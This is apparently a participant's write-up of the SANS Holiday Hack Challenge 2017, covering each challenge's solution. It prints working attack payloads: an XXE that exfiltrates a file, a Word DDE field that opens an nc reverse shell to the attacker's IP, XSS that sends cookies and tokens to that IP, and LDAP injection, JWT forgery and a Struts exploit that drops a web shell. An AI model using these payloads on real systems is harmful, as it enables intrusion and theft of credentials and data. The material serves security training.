We placed some conveyor belts and grabbed the page.
Investigating the sourcecode of the site, we are immediately presented with a link to a development server http://dev.northpolechristmastown.com. The development server is running Apache Struts, and lo and behold if it isnât an old exploitable version! đ
We used a python script by Chris Davis to exploit the development server and upload a remote PHP shell into the webroot. using ls /var/www/html
we found that the greatbook page filename is âGreatBookPage2.pdfâ, then we could download the file at https://l2s.northpolechristmastown.com/GreatBookPage2.pdf
Next we had to find âAlabaster Snowballsâ password. The hints would seem to indicate the he has a nasty habit of reusing the same password everywhere and hardcode them in his scripts. We ran find / -user alabaster_snowball -type f -not -path "/proc*" -not -path "/tmp/*" -exec grep -i 'password' {}
this command finds all files owned by Alabaster and searches them for the string âpasswordâ. This turned up the file /opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySql.class
the following is a snippet of the file:
public class Connect {
final String host = "localhost";
final String username = "alabaster_snowball";
final String password = "stream_unhappy_buy_loss";
String connectionURL = "jdbc:mysql://" + host + ":3306/db?user=;password=";
Connection connection = null;
Statement statement = null;
Great! we found his password!
Going forward we can now login to the l2s.northpolechristmastown.com server using ssh and alabasters user.
As we just mentioned we can now login using SSH, ergo: we can do port forwarding into the local network where the server is hosted (pivoting). we initiate an Nmap scan on the remote local network in order to find a server that has the TCP/445 port open, i.e. an SMB share.
Using SSH tunneling we mount port 445 on our localhost so we can easily access the SMB share.
sshpass -p stream_unhappy_buy_loss ssh -L :445:10.142.0.7:445 [email protected]
Then we can use smbclient -L localhost -U alabaster_snowball
to list the available SMB shares, only one of the shares look interesting, the âfilestorâ share. So we mount that share smbclient \\\\localhost\\FILESTOR$ -U alabaster_snowball
and grab all the files!
There are a couple of files that will be of interest to us later, but for now weâve solved Q3 and found another GreatBook page đ.
Now weâre getting to the fun parts. We have to gain access to the mail server. In the robots.txt
file we find a file that contains the code that is doing the serverside validation of the users token/cookie. The server uses AES 256 to validate the users token. This implementation of the check has a pretty glaring error though. The first 16 bytes of the AES 256 encrypted string is the IV (initilization vector) and the rest is the encrypted payload. BUT the server never checks if the entire payload is longer that 16 bytes! So no matter what the secret is on the server, if we can generate a valid AES 256 payload that is only 16 bytes long then itâll always decrypt into ""
an empty string/value!
So if we generate such a payload, f.ex with the following Node.js script (the important part is NOT updating the cipher, i.e. the line that is out-commented):
Gives us {"name":"[email protected]", "plaintext":"", "ciphertext":"405ZFUXJtJ9W3PrYptWnnA"}
and we try to authenticate with this token/cookie. Then the server will run the following to determine if the token is valid:
var key = 'need to put any length key in here';
var thecookie = JSON.parse(req.cookies.IOTECHWEBMAIL);
var ciphertext = thecookie.ciphertext;
var username = thecookie.name
var plaintext = aes256.decrypt(key, ciphertext);
if (plaintext === thecookie.plaintext) {
return callback(true, username);
} else {
return callback(false, '');
}
Normally if our ciphertext payload was longer than 16 bytes the above code would fail, but now that itâs only 16 bytes this var plaintext = aes256.decrypt(key, ciphertext)
will result in plaintext = ""
. So when the server compares plaintext === thecookie.plaintext
it will actually compare "" === ""
and empty string is equal to empty string đ©.
Now we have a token/cookie that we can use to login as ANY user on the mail server!
Doing some reconnaissance (reading all of their emails) we find the following email addresses:
In one of the emails we find a link to a page from the GreatBook! There are several interesting emails, but weâll get to those in due time.
In this challenge we have to combine 2 datasets, the first is a JSON list of all infractions that we can download from nppd.northpolechristmastown.com and the second is a list of all the kids that have been marked naughty/nice, the second list we found on the SMB share from Q3.
Counting all of the infractions that the children have made we can see a distinct change from 3 to 4 infractions
Analyzing required number of infractions required for "Naughty" status...
Henry Williams Nice 3
Bob Byrne Nice 3
Amelia Mark Nice 3
Frank Chung Nice 3
Al Molina Nice 3
Lance Montoya Naughty 4
Bini Aru Naughty 4
Wesley Morton Naughty 4
Ashlee Hodge Naughty 4
Jay Saunders Naughty 4
Answer: 4 infractions needed!
The second part of the challenge is a bit more involved. There was a second file of interest to this challenge on the SMB share. The BOLO - Munchkin Mole Report.docx
This report describes the identity of two Munchkin moles that have been apprehended, notably they have been involved in âshort-distance rock throwingâ, âunrelenting hair pullingâ and âsuper atomic wedgiesâ (The âsuper atomic wedgiesâ we got in a hint from âMinty Candycaneâ, true friend that Minty!)
Now if we go through our list of infractions again, searching for kids that have participated in any of the 3 above mentioned infractions, and increment a counter moleometer
each time we find one of the infractions we get the following list of possible Munchkin moles
Analyzing dataset for Munchkin moles...
POSSIBLE MOLE DETECTED! Beverly Khalil - mole like infractions 2
POSSIBLE MOLE DETECTED! Manuel Graham - mole like infractions 2
POSSIBLE MOLE DETECTED! Bini Aru - mole like infractions 3
POSSIBLE MOLE DETECTED! Boq Questrian - mole like infractions 3
POSSIBLE MOLE DETECTED! Kirsty Evans - mole like infractions 3
POSSIBLE MOLE DETECTED! Sheri Lewis - mole like infractions 3
POSSIBLE MOLE DETECTED! Nina Fitzgerald - mole like infractions 4
POSSIBLE MOLE DETECTED! Wesley Morton - mole like infractions 4
The above output was generated with this python script:
To fetch the contents of the file âC:\greatbook.txtâ we need to exploit the EAAS webapp. We can do that by using an XXE exploit, as described on the SANS blog https://pen-testing.sans.org/blog/2017/12/08/entity-inception-exploiting-iis-net-with-xxe-vulnerabilities/
We create an XML file with the contents:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE demo [
<!ELEMENT demo ANY >
<!ENTITY % extentity SYSTEM "https://gist.githubusercontent.com/Ern-st/o7483growuh2378rhiuwh823/raw/98327yrhg3094gh89833hf803/gistfile1.txt">
%extentity;
%inception;
%sendit;
]
<
Then at the URL https://gist.githubusercontent.com/Ern-st/o7483growuh2378rhiuwh823/raw/98327yrhg3094gh89833hf803/gistfile1.txt we placed a file with the contents:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % stolendata SYSTEM "file:///c:/greatbook.txt">
<!ENTITY % inception "<!ENTITY % sendit SYSTEM 'http://<my ip>:1337/?%stolendata;'>">
Then we run nc -l -p 1337
on our localmachine that is NATTED/portforwarded from the external IP on port 1337 to the internal IP on port 1337. Next we upload the XML file to the EAAS server and check our `nc command for successful exploit execution.
root@kali:~# nc -l -p 1337
GET /?http://eaas.northpolechristmastown.com/xMk7H1NypzAqYoKw/greatbook6.pdf HTTP/1.1
Host: <my ip>:1337
Connection: Keep-Alive
The greatbook6.pdf could then be retrieved from http://eaas.northpolechristmastown.com/xMk7H1NypzAqYoKw/greatbook6.pdf
We need to gain access to the SCADA server. The hints seem to indicate that the admin Albaster has a nasty habit of using the server for his own affairs. Among other things heâs installed the Microsoft Office suite on the server!
While trawling through the email in Challenge 4. there was a lot of chatter (no really an insane amount!) from Alabaster to everyone in the company about a âGingerbread Cookie Recipeâ that he was desperate to get his hands on⊠So desperate that he even mentions that he would gladly open any .docx
file and press OK to any prompts that would pop up! You get where this is going right? The #hottopic of đ Fall 2017: Microsoft Office DDE Exploits, aka. âItâs a feature! not a bug!â.
We boot up a Windows machine and open Word, click âinsertâ -> âfieldâ. In the empty field we enter {DDEAUTO c:\\windows\\system32\\cmd.exe "/k nc.exe -e cmd.exe <my ip> 1337"}
then we save the document as gingerbread cookie recipe.docx"
reading the emails itâs clear the Jessica Claus was the one who baked the cookies, so it stands to reason that she would be the one sending the recipe to Alabaster. So letâs do that!
Before sending the email we start up nc -l -p 1337 -vvv
once again on our localmachine thatâs NATTED. Then we send the email, and Alabaster is not known for resting on his laurels (not when it comes to cookies at leastâŠ), he receives the document and promptly opens it within the span of 30 seconds! Now we have a reverse shell into the SCADA server âHuzzah!â
Now we just need to exfiltrate the GreatBook page in C:\
instead of downloading the file weâll just generate the SHA1 hash of the file and cash it in on the Stockings page đ
In order to gain access to the EDB server, we were left with no option but to perform an XSS attack on a poor elf supporter. First we looked through the code and could see that there were several XSS client side checks before we could submit a support ticket. The hint led us to owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet trying out quite a few XSS variants we ended up using <img src=x onerror=this.src='http://<my ip>:1337/collect.gif?cookie='+document.cookie />
and got the value of the Cookie! hxxer50N2e1C2AFt5X06
⊠hmm⊠the hints mentioned a JWT token, but this was definitely not a JWT token (see how itâs missing the .
separators?). So this was apparently a deadend. Where else could one store stuff in a browser? localStorage of course! We had looked all over the javascript sourcecode and somehow managed to completely miss this: token = localStorage.getItem("np-auth");
so changing our XSS slightly to <img src=x onerror=this.src='http://<my ip>:1337/collect.gif?cookie='+localStorage.getItem("np-auth") />
produced
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I
a JWT token! decrypted it reads:
{
"dept": "Engineering",
"ou": "elf",
"expires": "2017-08-16 12:00:47.248093+00:00",
"uid": "alabaster.snowball"
}
At first glance this looked perfect! so we tried to set it in our own browsers localStorage np-auth
key. But no it didnât work⊠and then we saw why! The token had expired! (wait how did it work for that supporter then?! àČ _àČ ) hmm⊠in order to change the expires value we had to find the key that the JWT token was signed with. If we just changed the value of expires then the signature part of the JWT would no longer be valid. We found a very nice and simple JWT cracker https://github.com/brendan-rius/c-jwt-cracker that had our poor laptop sweating for a couple of minutes before spitting put the secret 3lv3s
Then we were able to change the value of expires and sign the new JWT token, set it in localStorage, hit refresh and đ„ BOOM we were in!
Now weâre greeted by a form where we can search for LDAP users that are either in the âelfâ or âreindeerâ ou(organizational unit). The task is to gain access to a letter on the server, we see that in the âAccountâ menu there is a âSanta Panelâ⊠but we canât open it, only Santa can and right now weâre logged in as Alabaster. We know the secret to generate a new JWT token, but we donât know what âouâ or âdeptâ Santa is in, but weâre pretty sure that heâs not in âelfâ or âreindeerâ, so we need to exploit the LDAP search.
Examining the sourcecode we find a snippet of the server code that executes the LDAP search.
And once again the dear elves have a hint for us, we need to go read up on LDAP injections on the SANS blog https://pen-testing.sans.org/blog/2017/11/27/understanding-and-exploiting-web-based-ldap. Having read that we can now craft a search string thatâll return all of the LDAP users, no matter what OU they belong to:
## from
result = ldap_query('
(|
(&(gn=*'+request.form['name']+'*)(ou='+isElf+'))
(&(sn=*'+request.form['name']+'*)(ou='+isElf+'))
)', attribute_list)
## to
(|
(&(gn=*)(ou=*))(&(gn=*)(ou='+isElf+'))
(&(sn=*)(ou=*))(&(gn=*)(ou='+isElf+'))
)', attribute_list)
and execute it in the browser console with poster("/search", { name: ")(ou=*))(&(gn=", "isElf":true, attributes: "*" }, token, function(result){console.log(JSON.stringify(result))})
this gives us all of the users with all of their attributes in a nice JSON string.
From the JSON we can see that Santa is a member of the âadministratorsâ department and the âhumanâ ou. Now we just generate a new JWT token with the following contents and sign it with the secret 3lv3s
{
"dept": "administrators",
"ou": "human",
"expires": "2018-08-16 12:00:47.248093+00:00",
"uid": "santa.claus"
}
and exchange this token with the one we have set in localStorage, hit refresh and then weâre logged in as Santa Claus. We try to open the âSanta Panelâ again, but now were prompted for Santas password as an extra precaution⊠No biggie, weâve already exported all of the user attributes. So we have an encrypted version of his password cdabeb96b508f25f97ab0f162eac5a04
using an online MD5 decrypter we get 1iwantacookie
. Entering this in the prompt presents us with the letter, and the challenge is completed.
Weâre tasked with getting a binary file to run, but the normal way of doing it fails
elf@a2a22350da9c:~$ ./trainstartup
bash: ./trainstartup: cannot execute binary file: Exec format error
So we run file
on the binary and we can see that itâs an ARM executable.
elf@9b16f7ebbbd1:~$ file trainstartup
trainstartup: ELF 32-bit LSB executable, ARM, EABI5 version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=0
05de4685e8563d10b3de3e0be7d6fdd7ed732eb, not stripped
To run ARM (and many other architectures!) on linux we can use QEMU
qemu-arm trainstartup
And the train runs!
We need to analyze an access logfile to answer what the least-popular browser is. This was solved using a combination of cut
, awk
, sed
, uniq
and sort
(yeah itâs not prettyâŠ)
cat access.log | awk -F' - |\\"' '{print $1, $7}' | sort | uniq | cut -d ' ' -f 2- | sed "s/[0-9./]//g" | sed "s/(.*)//g" | sort | uniq --count | sort
The answer was Dillo
We need to kill the process santaslittlehelperd
To get the PID of the process we run
elf@c469397f62a8:~$ ps -aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
elf 1 0.0 0.0 18028 2848 pts/0 Ss 19:18 0:00 /bin/bash /sbin/init
elf 8 0.0 0.0 4224 632 pts/0 S 19:18 0:00 /usr/bin/santaslittlehelperd
elf 11 0.1 0.0 13528 6396 pts/0 S 19:18 0:00 /sbin/kworker
elf 12 0.0 0.0 18248 3220 pts/0 S 19:18 0:00 /bin/bash
elf 18 0.7 0.1 71468 26556 pts/0 S 19:18 0:00 /sbin/kworker
elf 71 0.0 0.0 34424 2868 pts/0 R+ 19:19 0:00 ps -aux
Next we just run kill 8
and check the output of ps -aux
aaaand the process is still alive⊠WTF? Someone has been toying with our commands! letâs check what the kill
command really does
elf@c469397f62a8:~$ type kill
kill is aliased to `true'
it just evaluates to true, utterly useless⊠letâs run kill again, but this time pointing directly to the binary /bin/kill 8
and now santaslittlehelperd
has been terminated â°ïž.
We are presented with a small C program and part of itâs source code. In order to solve this challenge we need to make the rand()
function return 42
everytime itâs run. One way of solving this is to compile our own C lib with a rand()
function and override the function when the program is run. We make a small C file rand.c
with the contents:
int rand(){
return 42;
}
and compile it with gcc -fpic -shared -o rand.so rand.c
Then we just need to load it together with the isit42
binary like so LD_PRELOAD=./rand.so ./isit42
and the challenge is solved.
We need to restore the /etc/shadow
file but weâre not running as root. If we examine the
/etc/sudoers file we see that we can only run
find` as root/superuser
# The elf user can run `find` with the shadow group
elf ALL=(:shadow) NOPASSWD:/usr/bin/find
okay no problem, find can do all sorts of things with the files you find, like executing other commands with the result.
sudo -g shadow find /etc/ -name "shadow.bak" -exec mv {} /etc/shadow \;
The above command will find all files named shadow.bak in the /etc directory, then it'll run
mv {} /etc/shadow and replace
{} with the path of the found file. So the command that it runs will be
mv /etc/shadow.bak /etc/shadow, then we just need to run
inspect_da_box` and the challenge is solved.
We need to find the most poplular Christmas Songs in the sqlite database. There are 2 tables in the database
CREATE TABLE songs(
id INTEGER PRIMARY KEY AUTOINCREMENT,
title TEXT,
artist TEXT,
year TEXT,
notes TEXT
);
CREATE TABLE likes(
id INTEGER PRIMARY KEY AUTOINCREMENT,
like INTEGER,
datetime INTEGER,
songid INTEGER,
FOREIGN KEY(songid) REFERENCES songs(id)
);
To find the most popular song we just need to join the two tables and do a count of the times that the songs have been liked.
sqlite> select title, artist, count(*) as numberLikes FROM songs s LEFT JOIN likes l ON s.id = l.songid GROUP BY l.songid ORDER BY
numberLikes DESC LIMIT 10;
Stairway to Heaven|Led Zeppelin|11325
Joy to the World|Mannheim Steamroller|2162
The Little Boy that Santa Claus Forgot|Vera Lynn|2140
I Farted on Santa's Lap (Now Christmas Is Gonna Stink for Me)|The Little Stinkers|2132
Christmas Memories|Frank Sinatra|2129
Christmas Is Now Drawing Near at Hand|Steve Winwood|2126
Blue Holiday|The Shirelles|2122
Cold December Night|Michael Bublé|2120
A Baby Changes Everything|Faith Hill|2117
Why Couldn't It Be Christmas Every Day?|Bianca Ryan|2117
The answer was Stairway to Heaven
.
We need to get the binary CandyCaneStriper
to execute, but itâs missing the execute flag! Normally we would just use chmod +x CandyCaneStriper
but for some reason the /bin/chmod
binary is not working on this terminalâŠ
Did you know that chmod()
is actually a system call on Linux? no? me neither! But it totally is! So we can use f.ex. Perl to make the file executeable perl -e 'chmod 0755, "CandyCaneStriper"'
and now we can execute CandyCaneStriper
!
We need to find the binary elftalkd
and run it, easy right? weâll just use the venerable find
command!
elf@50ea14281bc7:~$ find / -name elftalkd
bash: /usr/local/bin/find: cannot execute binary file: Exec format error
aaargh! find
is broken đ. So is locate
and which
. I guess Weâll have to come up with our own simple file searcher. letâs list all files and grep for elftalkd
one way of doing this is ls -R / | grep -B 5 elftalkd
(the -B 5
tells grep to also output the 5 lines preceeding the result, so we can see what folder the file is in)
elf@50ea14281bc7:~$ ls -R / | grep -B 5 elftalkd
ls: cannot open directory '/proc/tty/driver': Permission denied
ls: cannot open directory '/root': Permission denied
/run/elftalk:
bin
/run/elftalk/bin:
elftalkd
The binary is in /run/elftalk/bin
so we can call it with /run/elftalk/bin/elftalkd
and the challenge is solved.
or how I got tired of placing objects and learned to hack the game
After a while I got fed up with the snowball game and decided to look into hacking the game instead.
The rules of engagement where pretty clear on the SANS HHC main site:
SCOPE: For this entire challenge, you are authorized to attack ONLY the Letters to Santa system at l2s.northpolechristmastown.com AND other systems on the internal 10.142.0.0/24 network that you access through the Letters to Santa system. You are also authorized to download data from nppd.northpolechristmastown.com, but you are not authorized to exploit that machine or any of the North Pole and Beyond puzzler, chat, and video game components of the Holiday Hack Challenge.
Weâre not allowed to hack the server running the game, but it doesnât mention manipulating clientside code anywhere now does it?
So we set about placing breakpoints all over the javascript files, and after some debugging we stumble upon this very telling funtion in the file hhc17-core-frontend.js
e.get("ajax").post("/api/roll/" + e.get("current_roll_id") + "/results", {
data: {
clientEvents: i.clientEvents
}
}).then(function(t) {
e.set("results", t)
})
We set a breakpoint and let the snowball do itâs thing, once the breakpoint is reached we can inspect the variables that the browser is about to send off to the server, the only data that is being transmitted is i.clientEvents
so letâs look at that
[
{
"name": 17614,
"payload": {},
"stepId": 0,
"type": 0
},
{
"name": "waypoint2",
"payload": {},
"stepId": 368,
"type": 16
},
{
"name": "__exit__",
"payload": {},
"stepId": 426,
"type": 32
}
]
itâs an array containing 3 objects, in this level Iâve only managed to complete one objective, and that is rolling over a waypoint and then hitting the yellow exit.
If we look around some more in the sourcecode we find the following object:
t.ClientEventType = {
START: 0,
TIME_EXPIRED: 1,
ITEM_COLLECTED: 2,
OBJECTIVE_COMPLETED: 4,
FRESH_OUTTA_SNOWBALLS: 8,
HIT_WAYPOINT: 16,
HIT_EXIT: 32
}
The values in t.ClientEventType
match with the type
properties in the i.clientEvents
objects!
Searching through the code for ClientEventType.OBJECTIVE_COMPLETED
we can build a list of all of the objectives that can be completed in the different levels.
We are still at the breakpoint before the browser has sent anything to the server, we can now replace the contents in i.clientEvents
with our own made up clientEvents data, f.ex. for the first level, we can replace it with this:
i.clientEvents = []
i.clientEvents.push({type:0,name:17614,stepId:0,payload:{}})
i.clientEvents.push({type:16,name:"waypoint2",stepId:368,payload:{}})
i.clientEvents.push({type:16,name:"waypoint1",stepId:400,payload:{}})
i.clientEvents.push({type:16,name:"waypoint0",stepId:430,payload:{}})
i.clientEvents.push({type:4,name:"barrel",stepId:505,payload:{}})
i.clientEvents.push({type:4,name:"crate",stepId:550,payload:{}})
i.clientEvents.push({type:4,name:"crateandbarrel",stepId:570,payload:{}})
i.clientEvents.push({type:32,name:"__exit__",stepId:780,payload:{}})
Then we just hit continue in the debugger and the results modal pops up, with all the challenges solved!
Then it was just a matter of repeating the above procedure for every level, and unlock the last achievements.
This was my first SANS HHC, but it surely wonât be my last, I had great fun and it was awesome to both give and recieve help/hints with the challenges. I managed to get all 85/85 points and a tied âfirstâ with a 156 other âholiday hackersâ (as of this moment).
PS: Everywhere I write âweâ itâs really just âmeâ đ€Ș I couldnât decide what form to write this in⊠and I was pressed on time, so Itâs a great big mess â€ïž.
Thanks to all of the people at SANS & Counter Hack for creating/running/organizing SANS HHC 2017!
I would like to express my gratitude to the good folks on the #central-sec Slack group, especially @ustayready, @teh_warriar, @justin and @evanbooth (Evan especially for stopping me from wasting several days on decoding Reindeer speak, trying to uncover the âhidden achievementâ đ )